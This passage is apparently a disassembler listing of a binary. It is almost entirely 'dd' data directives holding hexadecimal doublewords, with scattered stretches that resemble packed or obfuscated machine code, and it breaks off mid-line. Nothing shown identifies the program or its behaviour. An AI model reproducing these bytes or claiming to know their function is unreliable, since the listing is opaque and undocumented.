768AC6DEh, 3FCD03E8h, 756D3F3Eh dd 0A0CAF8CCh, 44776BDBh, 42h, 111F6F86h, 70DF7B4Dh, 0C6EA4D64h dd 0A7216C8Ah, 0E894AB29h, 55C5A861h, 0F5CF8F0Ah, 0BFEA6134h dd 67E8E7h, 0A6B21D2Ch, 6D3FA104h, 0A828E179h, 6D3FA11Ah dd 0B1DDA150h, 776B3AB5h, 0D769h, 0C7817500h, 0A3B70AE1h dd 75EF3299h, 6B790453h, 94EBC0C1h, 9063AAB4h, 0F12D0B4Dh dd 23CDDB66h, 5694EBC0h, 0A4CFC1C8h, 5794EBDCh, 0A0FF3B1Dh dd 262586A0h, 0F8D3F56Bh, 46B6A766h, 8792BE29h, 0EE75391Eh dd 0ECABB470h, 0A455546Eh, 0A4B01F54h, 730DDE99h, 6B5D0580h dd 0F05FC3A2h, 0DFD55765h, 2634674Ch, 4A43DF1Ch, 0AC96C8C7h dd 0BF26423h, 839F6C48h, 70520867h, 5806879Bh, 5EC8C0CFh dd 0B2741086h, 4CEC04A6h, 45E17967h, 23253D44h, 595AAD91h dd 72D50650h, 99Ch, 0E4202439h, 34F0D48Bh, 474385DBh, 930F2928h dd 0DCD8E274h, 0ED75EED1h, 9AC0DFDBh, 4E136CA8h, 0E761BE7Ah dd 0F817C5C1h, 0DAC342ECh, 19313792h, 2BE7D981h, 0E87194CCh dd 587CB8D4h, 85D21F6Fh, 0C6EA7277h, 0BE0D0D8Ah, 3F2A8412h dd 5337CE6Dh, 6BC44B27h, 0D6F377h, 39540000h, 4A7CE025h dd 81DBFF2Eh, 0B70AE1C7h, 1F3299A3h, 0C0CA6470h, 0A3BF94EBh dd 0DC5D666Ah, 0B4AC94EBh, 7A091692h, 143CDC6Eh, 0F56AB16Bh dd 2B76B7D3h, 91BC0F29h, 3C74F602h, 11096B14h, 0DA176798h dd 574D1E8Dh, 99730407h, 69A086BEh, 0AFCFDAE6h, 0B8A67539h dd 0B37DCD7Ch, 2B3794B0h, 0D6B5408Fh, 0D1694284h, 2AD6B8D8h dd 77EB730Dh, 93B5ADE8h, 5C66F817h, 5A14FAD6h, 0BB924150h dd 8C0h, 807C4815h, 0D0CCF067h, 639FA1B7h, 0AF6B4D04h dd 0F8340E50h, 951CA8Dh, 0BE9CFB37h, 6AEF0884h, 3B3D5A56h dd 143BE11Dh, 0DAC46608h, 451D1B92h, 2BE7D981h, 0CAFA613Ch dd 0FCDA9AE1h, 1E56A960h, 2453FC38h, 0D0BDB6B7h, 0D2FE6930h dd 94EB0858h, 0DEFC2D2Dh, 0AE1C781h, 4C9BBDB7h, 21796941h dd 4217D04Bh, 772BE27Eh, 0FE6986F6h, 0DC3AA6D2h, 453CF8Ah dd 2DE9CF89h, 0C9F36722h, 23AD5CE2h, 6D242339h, 64A0CF3Eh dd 87B99CFBh, 0BFCD1A24h, 6D24230Dh, 1F2FDE40h, 5499E962h dd 38217C0Bh, 23D05A04h, 0B5A56D24h, 4DBC9ADAh, 6E1FB6C2h dd 28367309h, 0C7D560EFh, 674F7025h, 0F069C658h, 66B3DDCCh dd 0FBCB0078h, 0EBF9668Bh, 0D51D5C3Ah, 4DFECD4Dh, 5967F0FDh dd 0D36AC0BEh, 87024DCDh, 160B3FD0h, 0C69A4D43h, 0B1EC63AAh dd 380E52B7h, 0A7C3E55Fh, 0B1540C6Bh, 0CB7995ABh, 0F07E34E7h dd 0B980CB18h, 1A000007h, 6C8B0741h, 0BCDBD7E9h, 0D6AA698h dd 59B6724Ah, 0B6C33F01h, 3E0056C3h, 8FB9A5C2h, 5963F413h dd 2402425Dh, 0F1D32E8h, 92DAC57Dh, 6F3C1410h, 0F685D21Fh dd 881C39Bh, 0DCDF1888h, 0BA25358Ah, 484478DFh, 81D7282Fh dd 85D26CBFh, 253FF577h, 7A96886Dh, 2C0A4A91h, 3187BE86h dd 470EDD4Ah, 754h, 2CE8DC81h, 7CB88CD3h, 8F0B3D23h, 0DBD7F170h dd 64A09ABCh, 0A5BD2619h, 520867A3h, 65BB470h, 0AFA9C6C2h dd 0A04F0D89h, 0DAC61A94h, 0D1E96F92h, 4B111F6Fh, 137A51A6h dd 94301EE3h, 4F9CB8BBh, 3C489733h, 8ADC094Ch, 26203A61h dd 63E5D8Ah, 1665E420h, 152CDEEAh, 3F4D6D24h, 6D24158Dh dd 3E9D5EC0h, 0B7CB2006h, 4450FF1Bh, 6D2415A6h, 7854B7ABh dd 6D2415E9h, 8AE92A3h, 0B6C2D78Dh, 6D241534h, 56B5D149h dd 0ACC6C1C8h, 507766B2h, 61h, 0D9027172h, 40F293B6h, 33A955C8h dd 14B03E23h, 0DE156495h, 794F1271h, 0FD7381B0h, 9094EBB5h dd 1AF3D8Eh, 0F094EBB5h, 2B76556Fh, 0D3BB1034h, 1F83665Ah dd 0AF8685F0h, 4EA2D7C4h, 0B4E2A65Fh, 7D9737BAh, 1862h dd 2756C00h, 0E6000002h, 0F93791BBh, 2AB56D8Ch, 0EBC06C1Eh dd 0B079E194h, 56B54E0Ah, 325E89E6h, 8AC68D93h, 7D6BA4BAh dd 0DD92BC05h, 1E56DA2Ah, 25339C38h, 0C0ECFAF0h, 0C1DC0B17h dd 9164A59Bh, 0B01F54A4h, 255F63A4h, 0BDCB66C9h, 0A93BBF33h dd 53DDEB46h, 26A93BBFh, 0D7009C38h, 0BFB23C48h, 5BC7A93Bh dd 60E0BF52h, 2B2D4A46h, 7E7E70Dh, 0E3300630h, 5FF68h dd 0BD87D400h, 0D332641h, 0DCE27691h, 0A88CC720h, 754F136Ch dd 108D4CB9h, 5FB8744Eh, 0AEC9C5FFh, 0FC1B97A9h, 0F4A66244h dd 0C7A74957h, 5EDA92DAh, 32C7817Ah, 47A055E2h, 0D881DEA4h dd 0F26348E4h, 0D6E26D82h, 8AC62B07h, 233867F2h, 1C796958h dd 145AD482h, 332F6D3Eh, 141698A4h, 0F76B6D3Eh, 2FEB7736h dd 0CB690D0h, 4A2AB24Ch, 8DB99043h, 46000005h, 98F73315h dd 0E80783C5h, 39565274h, 85E21E3Eh, 0C22FEBDDh, 0EADC821Fh dd 0BB8DD12Eh, 53F207Fh, 0D0F66E89h, 0DBE906D4h, 92DAC751h dd 81082024h, 0B76E1C7h, 39FDFBA5h, 40D3DA82h, 3F237E0Dh dd 0F3D15B05h, 0BAA494EBh, 12342C73h, 11F56EB9h, 1FDDB9Dh dd 9710D49Eh, 5B887Dh, 714A0000h, 0C054D6E2h, 312994EBh dd 39F747F8h, 2452222h, 1DB9C12Ah, 0F3C7A6B2h, 133E8AC6h dd 13F67884h, 978B6D3Fh, 3F1327C9h, 0A8C45A6Dh, 13FF8D43h dd 8CB56D3Fh, 0D78702B8h, 1338B2DEh, 0CD4D6D3Fh, 155178B1h dd 0B3776BADh, 0FD8C37C4h, 6FF50705h, 3FCC3D59h, 65h, 0D21F6F9Bh dd 924A7785h, 0FA898AC6h, 3F715CEEh, 0E029316Dh, 0D7B21D3Dh dd 5640BC80h, 6D3F71CBh, 8728DBC6h, 0E5C7C706h, 6DDA9A69h dd 8C7DA194h, 8AD5F375h, 835FD1FFh, 2C326D3Fh, 73E601FDh dd 0D087024Dh, 0D4031FECh, 3F8326C8h, 0C6C75B6Dh, 586D1837h dd 0CBFD62B7h, 67115EE0h, 0DA71B862h, 470h, 0D21F6FBCh dd 0BA4F0685h, 0C85B01F1h, 9019B5F8h, 486E5361h, 3E6D8AC6h dd 0E5AD0CCFh, 0D45756C6h, 0D97E1D4Ah, 0B37A04E7h, 0D43E6DE0h dd 29C7AEE9h, 8485756h, 29C8DD2Eh, 0ABDFD17Ah, 0E7A790B4h dd 0AC555464h, 0A7CC3CD8h, 5C352C38h, 0D6487313h, 9DBBBDDAh dd 83AD1D4Eh, 7A04E7C1h, 5E6371DEh, 31796C17h, 947ED6FAh dd 0CE9538AFh, 0F10D2DFEh, 9F867655h, 6B4D07ABh, 0F24EBEAFh dd 4BD9A11Bh, 4F98347Ah, 0B9594021h, 24B4E367h, 584A6AE4h dd 3F23C2CBh, 0F1D791ECh, 13352B66h, 9467A6B8h, 0F78D71E4h dd 0EFFD6A87h, 6D92D792h, 46A15DFDh, 75D9FB0Eh, 4792B691h dd 311BC2Bh, 75C2AE69h, 3F25021Ch, 5E0D8009h, 0C2291B43h dd 2C324DBCh, 35DCB11Ah, 0EE3D0356h, 17F4D093h, 53EEF0Bh dd 0CDEB6D41h, 8BE858D1h, 0E529305Ch, 0DA446BEFh, 0A2570E8Dh dd 7651DB13h, 0EB073Dh, 0B78D3F4Dh, 5EC04E15h, 0CFF965C2h dd 0D8AB62FCh, 6E5C385h, 671BEF16h, 0BC78D638h, 45DBA49Eh dd 4EFF2E97h, 5A66F1FEh, 5038E847h, 1FF8A732h, 5B6FE581h dd 4A7C0ED8h dd 9114038h, 0D27D1D80h, 129BBDB7h, 371153ACh, 550A79D4h dd 4FC32F09h, 0E65EA168h, 0F545C4C0h, 0B8416FF8h, 0D75E15DDh dd 0BEED604Bh, 0B2DE1E24h, 5A432238h, 1E62CD4Dh, 923EEF26h dd 5A439E04h, 765573F5h, 5BC7EB3Bh, 3611A864h, 7EC92224h dd 0AA6E01C5h, 9403B78Bh, 5F8F28C1h, 0BADDCC9Dh, 4C3F32B0h dd 5604832Eh, 9DC8626Ch, 9DBD5A43h, 9D842632h, 61F95A43h dd 56D3A8h, 6FFF0000h, 0F685D21Fh, 0EBC040EAh, 6FE63594h dd 40DC6249h, 0AC3BC649h, 705B6DF1h, 0C04EE0EEh, 1F0394EBh dd 0EACFE2EEh, 4B868AC6h, 2CDAAC0Ch, 3EA9C543h, 0C2CBFD63h dd 0B10F9D33h, 59FE6D3Fh, 20398467h, 58DDCF1Ch, 0E8098D64h dd 4A8CE614h, 0E030776Bh, 92000000h, 0AE1C781h, 0A14AA3B7h dd 319F6BBEh, 0CC9D76AFh, 45E16D5Ch, 60E3BE29h, 42186744h dd 7B97AB00h, 0A49CE3B2h, 92D22982h, 456E78B4h, 0B494EB74h dd 11E9ABCh, 0D98A6147h, 87293769h, 0FA94EB64h, 719FC864h dd 8AC62868h, 6E9F1B07h, 0FB86D11Eh, 0B0AE406Ch, 7CA36D3Eh dd 4544E0DAh, 0C70D94Bh, 0ABB1EC73h, 8C283695h, 1B29B443h dd 674C7091h, 0CDFF978h, 18918972h, 0B36F5109h, 0FD0B0254h dd 674C7073h, 76FC1806h, 5058D68Ch, 0D5D57CAFh, 0FE000001h dd 50AF6B5Dh, 0A0FF3B0Dh, 0F10E8ABCh, 3D5A5676h, 9AE72325h dd 22243AA7h, 0F3D589E6h, 0BD87D837h, 82E2641h, 1321CE8Ch dd 92DACB99h, 815068ECh, 3C2BE7D9h, 0C0E98391h, 829C94EBh dd 5A7CF40Bh, 0E6C2B15Eh, 871FA4A9h, 6FA327E6h, 7785D21Fh dd 8AC6EA72h, 4222261h, 93129BA7h, 0AA10145Ch, 3C0BE88Ah dd 1CFBA865h, 4E9D399Dh, 3F90F482h, 0C387BE6Dh, 6B29DB97h dd 0DC8377h, 714F0000h, 0EF6EA502h, 0DCCD2960h, 46A583C5h dd 0F25D67FBh, 10D75967h, 0B4AA94EBh, 192AA675h, 0F094EB0Ch dd 3D5A5670h, 9DCE1D3Bh, 695B032Dh, 0BDA3FC82h, 0B5E06F8Bh dd 28EAB290h, 0BA8CD232h, 7CADC951h, 0DA5B46D5h, 4FB19065h dd 1E23AD5Ch, 718AC605h, 21237EE9h, 139AA407h, 214EBEAFh dd 519BAAB6h, 0F39E730Ch, 4C584BE5h, 0E9203E67h, 0B89CD70Ah dd 24B3CF53h, 0A366FA99h, 0BC6D89BBh, 0CFCBFD65h, 6E94AEB0h dd 5058EE7Eh, 0C5B79E4Dh, 0E000000h, 60BF7B4Dh, 0B0CFCBFDh dd 11E9AACh, 4DAA6646h, 8AF73315h, 32144AD7h, 83C599F6h dd 4D77E807h, 183E3651h, 3113E9Ch, 92DACC69h, 8140181Ch dd 382D24D9h, 0EBC0822Ch, 0CF6BF794h, 0ADE877B3h, 263893B5h dd 0FED898E7h, 0C7819E02h, 0BDB70AE1h, 17514C9Bh, 3D035631h dd 0A71716CCh, 18F3D589h, 6F7DEA06h, 8ADCDF27h, 0A4FBD04Eh dd 2C1049ACh, 3F1B95A3h, 0F06E6D25h, 0D0CF5854h, 2D74B58Fh dd 12BE0D2Bh, 5828F9Fh, 4B5F23DCh, 506AEC09h, 0A59FF834h dd 92D52883h, 47E3E579h, 0BD81B464h, 0CC7E8A19h, 8136C58Fh dd 57111099h, 1A5AB571h, 0D64EF3Ch, 52000000h, 54D6E271h dd 2994EBC0h, 5276F831h, 3E8DC81h, 49A284BCh, 705B6DF2h dd 0B417312Dh, 0FCCFF169h, 2487B9A1h, 6DBE9ED9h, 97744A0Eh dd 0D8331548h, 5D545508h, 4C581h, 0ED830000h, 242C8704h dd 7A09685Ch, 2C890000h, 3C1C6824h, 34890000h, 26D6824h dd 2C8B0631h, 4C48324h, 4EC81h, 24890000h, 24048324h, 53555E04h dd 0C06B75BBh, 245C0127h, 468F5B04h, 86E8108h, 27C06B75h dd 5E2434FFh, 4C481h, 34FF0000h, 0C4835D24h, 71DAE904h dd 0F4DFFFFAh, 0DF8C1DB9h, 387D76C8h, 0D79B8ACh, 0C5030631h dd 9CD1E0FFh, 838F51C8h, 0A2241B02h, 0DCF945A8h, 82065D75h dd 4CC72F7Eh, 83AD002Eh, 0D2F21636h, 7FB07801h, 31781026h dd 0E1406BEBh, 0CB321FD6h, 8F403Ah, 0F97F1B52h, 5E084A7Bh dd 0FDAC4B30h, 0B10C128Ah, 24EB6412h, 9 dup(0) dd 0BDE9h, 38B58900h, 8B06310Eh, 2B0A0185h, 3D858B06h dd 8D062B18h, 310E82B5h, 35858D06h, 0FF062E5Ah, 0E855C3D0h dd 0 dd 88ED815Dh, 8306310Eh, 2B0A01BDh, 850F0106h, 2Ch, 0E38B5FFh dd 858B0631h, 62B183Dh, 81273635h, 3CD0FF34h, 0A850F01h dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 6310E3Ch dd 38B5FF56h, 8B06310Eh, 2B183D85h, 27363506h, 0D0FF3481h dd 8D0CC483h, 310E3CB5h, 14468B06h, 8304E083h, 840F04F8h dd 7, 5E9C033h, 0B8000000h, 1, 0A01BD83h, 0F01062Bh, 785h dd 0E9C35D00h, 2, 858DCF5Dh, 6310E61h, 34CD8589h, 2DE9062Bh dd 8E000000h, 2A1113h, 0Ah dup(0) dd 594E9h, 497BE000h, 192F324Dh, 0E8DE829Dh, 0B490D32Ch dd 13B1F78h, 1CB97885h, 6B84003Ah, 0BAD5D1F3h, 867A3A5h dd 0E8B26E48h, 0CFBB3543h, 4ACE92DAh, 22C78176h, 1EED093Fh dd 3A769FC3h, 1490F0AAh, 0CBB621BDh, 9521AB89h, 0A89CC520h dd 0C6219D0Ch, 0FC43A88Eh, 96F56244h, 75402BDEh, 89F5F80Eh dd 9809E6Dh, 0C30277Ah, 695DD6BFh, 0BA250345h, 465878CFh dd 0EA5E290Fh, 0C4BA73BFh, 1692B6ABh, 0A49F60F9h, 0FB172B80h dd 1137316Ch, 9665A4BAh, 72F2134Bh, 4FEB7754h, 0B5898C7Ch dd 0C4667201h, 0B994EBF5h, 401968A1h, 0ED67807Ch, 5DECE0CBh dd 0AC94EBF5h, 0E53893B5h, 17664563h, 62975A2Eh, 0A5C1EDD1h dd 597D970Eh, 59h, 0E1C78185h, 0C03AC60Ah, 0A41D94EBh dd 0D9B8B2E0h, 16C7D96h, 6E000000h, 0A239DA81h, 4F57E8B4h dd 8DB8846Dh, 3B4A8AA2h, 6AF14C9Fh, 0CB8E0D5Ah, 1A6134F5h dd 0E5AE7D5Bh, 0C7C2784Ch, 1F62AB8Dh, 9F880438h, 0A4655F00h dd 923D1B5Dh, 105F61F7h, 0C4C1A10Bh, 0E65C4DFFh, 0E7D981F2h dd 2DDFED78h, 2094EBC0h, 0E13CCF3Eh, 7E1D4A7Ah, 5124E5DBh dd 9F6C4A0Ah, 0C6251F40h, 0FF7256EFh, 0DFD3B7ACh, 2A45417Bh dd 60BF0C2Ah, 9AE1CAFCh, 0D32EFDDBh, 0A252B98Bh, 0FC20C7BBh dd 29558145h, 0DD7D96E0h, 70h, 0A7E271F9h, 1C2289B3h, 0EBC0B832h dd 0D68ECD94h, 0EB071BF0h, 417BDF22h, 7F41176Ah, 7A4EE7ACh dd 3AC0D9C4h, 0EB9F5A82h, 417BDF22h, 0A3A66B16h, 5CCFF1BCh dd 0C096F1ADh, 0CA21273Dh, 6CB318B4h, 1EF8D3F5h, 8BF723E7h dd 337D9764h, 59h, 24D9819Fh, 6519DC31h, 80421BD7h, 9CE3C864h dd 432A81BBh, 0CE9016EAh, 702F38F4h, 0B6D4D5EFh, 784E1271h dd 31E8F93h, 0A81CBB5Ch, 8B5E8A6Ah, 0A2A5E06Fh, 3E851459h dd 0BAD6F447h, 2F6D1F2Dh, 7EE094EBh, 41D0FC8Fh, 6A94EB2Eh dd 9DC9F5C9h, 417D97C7h, 1, 0D6E2718Dh, 94EBC054h, 0A9F83129h dd 0E33E8DB3h, 0B4644761h, 73E9BD81h, 0C0D8527Eh, 12194EBh dd 5501597Ah, 0FE0A219Ah, 94EBAC4Ch, 61FD1901h, 0CC54A4A5h dd 1F53957Dh, 0E7708CD7h, 0C6F7BCD9h, 7C4FD38Ah, 85012721h dd 655FFF9Ah, 0EE31F886h, 78075076h, 3EE6C26Ch, 23CDDB6Dh dd 566D3EE6h, 0BE6FF3C8h, 0E651E1EFh, 29346D3Eh, 0EAFE107Ah dd 0E1795274h, 8A2B7396h, 80261A03h, 0CD2AE6C0h, 35EAD8Bh dd 9DF86741h, 780B82DAh, 0ED672229h, 6559C2CBh, 0B6210741h dd 6CBF99DBh, 0F867DBD2h, 687C19Dh, 6BF2E783h, 0D0B6E577h dd 0A4465206h, 0D96D3E72h, 1ED7F641h, 56B24746h, 1C000001h dd 79470271h, 266AB505h, 0E90676E7h, 5C5F527Eh, 0FB368AC6h dd 0FCED5C15h, 12F915C0h, 46095CFh, 0EE65C26Ah, 7B8F032Fh dd 9430DA03h, 0E163BC78h, 0B59E9F14h, 3E8705A7h, 99E6786Dh dd 0F30F84EEh, 0A583C518h, 7A4EF746h, 0CD1A3C34h, 77B688CEh dd 895A148Bh, 8702776Ch, 47000000h, 0EECD6058h, 25BF19C5h dd 2B81EEEFh, 5175B4DCh, 84D3206Fh, 0EBC09678h, 89C8C714h dd 0CBC25CAFh, 50CEE528h, 0D46D49ACh, 0F37D53B8h, 1A14EB95h dd 56A50640h, 8FD2391Fh, 0F36F4C8h, 0D56CB43Bh, 0CF5E4DF1h dd 6AC26D2Fh, 7A96B0B0h, 0AB00441Dh, 96E51697h, 28E20E59h dd 5D94EB96h, 6E4E54EEh, 5A66DFCCh, 94EBD5D0h, 0FD19B5A5h dd 1D273752h, 822D36ECh, 9E000000h, 87644003h, 0B939B328h dd 0BFDBD142h, 1F6F484Eh, 3A7785D2h, 558AC6DBh, 0D99BE6C5h dd 6CE403FFh, 0DC6B614Ah, 0BB6D3F24h, 68E8BE82h, 0C6C5524Eh dd 0F061A88Eh, 59E47380h, 3F3AA14Bh, 434AD46Dh, 2B23A0CCh dd 47427308h, 5173EB0Ch, 4148E47Ah, 7413BCA2h, 69F1DAFCh dd 0D68EEDA0h, 0FC182C33h, 4F87D2Fh, 5483F040h, 0CE1D2339h dd 0CAD679B0h, 797F3A0Dh, 75E21E00h, 0E190CB06h, 0BB72D2A9h dd 0D21F6F1Fh, 0D1D87785h, 7C1B8ADCh, 7B07E4DEh, 9C6FF3B2h dd 941622B1h, 0E96D2531h, 0EF69B871h, 0A60E9C1Ah, 2FB87FD9h dd 25B86F01h, 0E07CE26Dh, 0AF89CB24h, 0B182F15Ch, 85E3CBC7h dd 0C9375950h, 0CE5905A6h, 1B5D5135h, 0AEA6C13Dh, 65DC2388h dd 0A891443h, 0C6687650h, 0BB5945B8h, 0E59766A7h, 23CDDB66h dd 565945B8h, 6458C1C8h, 234AF3BEh, 85F11800h, 9E7BFD04h dd 0B4A887B9h, 0BAE97692h, 0DD520F18h, 8975B482h, 6A5E039Eh dd 0FF3F2A81h, 4B68CA0Dh, 0A1A3FE2Fh, 0D2D2487h, 15000000h dd 5662F15Eh, 94EBC0D4h, 5278B1A9h, 3E8DC81h, 49A284BCh dd 705B6DF2h, 0B417312Dh, 0FCCFF169h, 2487B9A1h, 6DBE9ED9h dd 97744A0Eh, 0D8331548h, 0E1895108h, 4C181h, 0E9830000h dd 240C3304h, 33240C31h, 565C240Ch, 0C681E689h, 4, 8704EE83h dd 895C2434h, 1668241Ch, 89000057h, 0BF572434h, 8380EFBh dd 81FFC783h, 0B82D55CFh, 51EF814Dh, 8177884Dh, 0FED34DEFh dd 5FFB89CFh, 24348B54h, 5304C483h, 6C240481h, 8F4FC773h dd 0B8500846h, 3C487D3Eh, 3E35D8F7h, 55E094Bh, 0B208A970h dd 58084629h, 5E2434FFh, 4C481h, 34FF0000h, 0C4835B24h dd 6ACEE904h, 0F129FFFAh, 1458D0E6h, 0F4E4E2DBh, 145DB86Ch dd 0C5030631h, 0C535E0FFh, 99217A39h, 75895A6Bh, 625610CAh dd 6B105F11h, 771E7433h, 64B778E1h, 0E41A30B0h, 52156F70h dd 540C0444h, 588548ACh, 0F1592988h, 0A3075690h, 5DB3676Ch dd 0F6847719h, 0BDF834CDh, 37165ADAh, 318A2E49h, 64F3661Dh dd 44763D1Eh, 9D462C75h, 561D5579h, 53230617h, 0C26EB1h dd 97A805FAh, 63753F5h, 5927401Fh, 8CC2056Eh, 10E81400h dd 4F000000h, 0F7CA349h, 8595B2E8h, 0AA89CD48h, 0E9F4CAA0h dd 0Eh, 834CF2D1h, 0D0919E04h, 0F152AE9Dh, 0F5F89F9h, 68Dh dd 820F00h, 81000000h, 620EC7h, 8A0F6000h, 3, 60C7BF0Fh dd 0DE8h, 46F4B600h, 73C7BC73h, 0BD45F3EFh, 615FD4BEh dd 0AF2B861h, 0E8810A65h, 0A64F2AFh, 0FFD78B66h, 98D0F37h dd 0F000000h, 380h, 0D0BF0F00h, 0F0B6605Bh, 0EDEB8161h dd 0F46D7EEh, 587h, 0C6816600h, 0C3815E66h, 289BCB2Bh dd 0DB01C381h, 53FC3A68h, 6E8h, 825E1C00h, 804760EEh, 8F5AEED6h dd 7E907h, 0BD20000h, 0D432CF40h, 0F5EF817Eh, 8B6EB0F5h dd 0F1C781F0h, 666EB0F5h, 0BEBC681h, 23850F48h, 0E9000000h dd 11h, 833A0180h, 93401FDAh, 0D1561823h, 44AC80E1h, 1BE9C8h dd 67D90000h, 0A62612ADh, 0B70FB6A0h, 0FF69E9D7h, 7B36FFFFh dd 1DA9EA33h, 0A5C5E17Ch, 2C8D8DF5h, 6A063117h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 9057C356h, 95896F98h, 62B35A9h, 0EE18D89h, 8D31062Bh dd 62B213Dh, 91E08166h, 0E185C73Eh, 64062B21h, 8B00005Ch dd 0E585C7C6h, 62B2Bh, 66000000h, 0FF22AEBAh, 2B1D15B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0E5416A08h, 273195FFh, 6A062Bh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 8BF256C3h, 57CA50F1h, 8B5BD38Bh, 2B067185h, 0FF006A06h dd 2B294595h, 0EBC08B06h, 0EFA66F0Fh, 3737B8CCh, 5CAC783Ch dd 0FBD09F93h, 13E8h, 7FEFAF00h, 0DE30EAA8h, 9D029D1Ch dd 0A2D60AD8h, 0D1DDE2EAh, 7945BF66h dd 35BD8B5Ah, 81062B00h, 5C08C2h, 0D8D8B00h, 0B8062B02h dd 16D9h, 16C99D89h, 1A8B062Bh, 0C820Fh, 8D0F0000h, 6 dd 860Fh, 0C3810000h, 5DF72B14h, 11E8h, 7244D00h, 9A1ADA94h dd 23E32F09h, 6F34B768h, 840F50BDh, 0 dd 5C3815Eh, 8B0B2DF0h, 2B359D8Dh, 0A0C38106h, 803AC388h dd 1A894CF5h, 0F199D01h, 0EA83062Bh, 47E68103h, 4A58C795h dd 0B18D23h, 0E881062Bh, 1, 0FF90850Fh, 8B66FFFFh, 78D8DFBh dd 6A063119h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 7CB6C353h, 0EA802F50h, 0E18D8958h dd 0F5062B0Eh, 21E185C7h, 5F38062Bh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 74CE53C3h dd 85C7E28Ah, 62B2BE5h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 5DC35646h dd 8D29B298h, 62B06EDh, 0D45B5FFh, 6A062Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 71B5EBC3h dd 0B31E34E8h, 0FFB70F50h, 0F28B6658h, 13E8h, 25B61B00h dd 64595076h, 0DC495EBh, 2D5C6603h, 66581237h, 0FE9h, 65946800h dd 152E5705h, 0DD2EEF78h, 30129F05h, 3195FF5Ah, 6A062B27h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 0C730C355h, 38F183A7h, 9D297C30h, 62B3379h dd 95FF006Ah, 62B2945h, 5CEBC08Bh, 0EB59D17Eh, 6CEF46A8h dd 2A1658A2h, 62B17468h, 8325BC3h, 71B69F89h, 311A5BABh dd 547F0BFFh, 273C141Bh, 0B600B4F1h, 0FF18A2ACh, 1651828h dd 263D8725h, 6E003C1Fh, 0C1568840h, 8F60FEAh, 0DBD695EDh dd 57ADA74h, 8CDD9FB6h, 0ED17021Fh, 65D3AA5Ah, 0B04454AAh dd 3DAE4EDAh, 0B7E9h, 7B78D700h, 459CD77Bh, 0E1C8C3CAh dd 0ACABDAB6h, 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh dd 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h dd 99603A75h, 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h dd 97B1EFh, 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh, 52D0008Ah dd 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh dd 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h dd 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh dd 0B6F66DB4h, 7293BCE1h, 97B3EDh, 43F1B6D0h, 0F0A8CDh dd 0 dd 129D7447h, 5E99E0E3h, 1512E9h, 1C956800h, 85E90631h dd 68FFFA65h, 6311D7Bh, 0FA657BE9h, 1E2C68FFh, 71E90631h dd 68FFFA65h, 6311F7Fh, 0FA6567E9h, 200D68FFh, 5DE90631h dd 68FFFA65h, 63120AFh, 0FA6553E9h, 214368FFh, 49E90631h dd 68FFFA65h, 6312203h, 0FA653FE9h, 22AE68FFh, 35E90631h dd 68FFFA65h, 63123DEh, 0FA652BE9h, 254868FFh, 21E90631h dd 68FFFA65h, 6312693h, 0FA6517E9h, 27AB68FFh, 0DE90631h dd 68FFFA65h, 6312907h, 0FA6503E9h, 2A4D68FFh, 0F9E90631h dd 68FFFA64h, 6312BEEh, 0FA64EFE9h, 2CEB68FFh, 0E5E90631h dd 52FFFA64h, 0A4C33F09h, 0F4138FB1h, 45A25E60h, 91EE2A02h dd 0CE3BF7C9h, 0F6C88E0Bh, 4781DD3Ah, 112B2C4Bh, 0DCFA7A95h dd 0C7D57A20h, 92DADA25h, 8104DC58h, 0CB3932C7h, 54CBC713h dd 0D48CD338h, 9A2936F2h, 0EB3BFC8Eh, 899194h, 5529FEFh dd 0C62562F7h, 0A022518Ah, 0B554BADEh, 5BC5B22Eh, 0A6725FECh dd 0AB812B39h, 6AF46D3Eh, 8D5EC0A3h, 0A781C3DEh, 0ABDC6A66h dd 342D6D3Eh, 0AB9B1523h, 70EE6D3Eh, 0B4A8F7D4h, 7CE23992h dd 887CE14Ah, 40043DE1h, 6044FF9Ah, 9336F78Bh, 776C48D7h dd 698Fh, 2735C000h, 6D3EA385h, 0A54755F8h, 0D86D3EA3h dd 0D5D2A46h, 0F53A3D27h, 71B4D2DBh, 0B5745212h, 0C0EC3484h dd 0FE2EBE4Dh, 0C8D4039Fh, 8AC618A1h, 0C96371DCh, 206D3E1Bh dd 0AEB00B3Dh, 2A36C512h, 6D3E1B80h, 0EECDF369h, 8FA2EFA3h dd 2A46FDBDh, 2EBC10E3h, 646D3EF9h, 5635E9DDh, 0CCCBC204h dd 776C12A2h, 0FA5Ah, 12718400h, 0A3A5BD48h, 319A3648h dd 0A7A1E029h, 0C004A6B2h, 0E17994EBh, 0DA7F1A45h, 95427E6h dd 419C6F51h, 87CA2107h, 0ACB05508h, 8D29319Ah, 4D9EA8B2h dd 0A3A5FC2Dh, 9EEBB456h, 89A6CCECh, 0B3F0820h, 1B95A39Dh dd 6E94EB80h, 0AF3854F0h, 76556FF0h, 537D21E8h, 94EB9BBFh dd 0F02C0A4Ah, 10FBDD97h, 319ED323h, 0C6DE1623h, 76E1798Ah dd 0AC7F591Bh, 99AFB592h, 1FD2C32h, 0E578B808h, 8D1847E3h dd 0B677490Eh, 0C21031Ah, 0C39BF673h, 0A104A6B2h, 0E179674Ch dd 0D1D86645h, 483CC52h, 0B1D6BB52h, 324163ACh, 65FD1A96h dd 3AF9D163h, 0A97A5059h, 11F4A6h, 7D471400h, 0CDF36681h dd 9CA2B6D1h, 